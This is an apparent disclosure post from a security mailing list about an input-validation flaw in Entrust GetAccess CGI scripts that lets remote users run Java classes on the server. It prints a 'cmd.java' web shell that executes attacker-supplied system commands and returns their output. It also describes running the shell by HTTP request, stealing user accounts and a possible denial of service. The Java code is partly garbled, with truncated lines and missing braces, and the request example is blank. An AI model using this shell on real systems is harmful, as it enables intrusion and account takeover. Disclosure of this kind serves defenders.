    hola friends,

    getAccess[tm] is used as a single-sign-on system often used for large

    --- snip (http://www.entrust.com) ---

    Entrust GetAccess[tm] offers the most comprehensive solution for
    consistently deploying and enforcing
    basic and enhanced security across online applications, from Web browsers,
    to enterprise applications and
    legacy database systems.

    --- snip ---

    problem description:

    due to missing input-validation it is possible to run(start) java-programs
    on the "getaccess"-machine.
    combined with public accessibly uploads or any other possibility to create
    class-files on the server this vulnerability c
    ould be used to run arbitrary system commands on the target machine( or
    change getAccess parameters and steal any user ac
    count you want BTW).

    it should also be possible(but not proven yet) to exploit default-,install-
    or demo classes within Java or getAccess whic
    h would make the file-upload(creation) part unneeded!
    (uninstall.class is very likely an effective DOS)


    find exploitable getAccess-class(one which accepts params!) or upload a
    "command" programm:

    --- cut here (example cmd.java) ---

    import java.io.*;
    public class cmd {
    public static void main(String args[]) {
    s = null;
    try {
    Process p = Runtime.getRuntime().exec(args[0]+" "+args[1]);
    BufferedReader stdInput = new BufferedReader(new
    BufferedReader stdError = new BufferedReader(new
    System.out.println("Content-type: text/html\n\n");
    while ((s = stdInput.readLine()) != null) { System.out.println(s); }
    while ((s = stdError.readLine()) != null) { System.out.println(s); }
    catch (IOException e) { e.printStackTrace(); System.exit(-1); }
    } }

    --- cut here ---

    later then .. a http-request to :


    .. will run "/whereever/cmd.class" and execute "/bin/ls -alsi"


    object: *.gas.bat (all the getAccess cgi-shell-scripts)
    class: input validation
    remote: yes

    vendor: has been informed with a separate e-mail ( entrustentrust.com )

    (and BTW. i would NEVER EVER recommand to use shell-scripts for
    authentication purposes!)

    nice day,
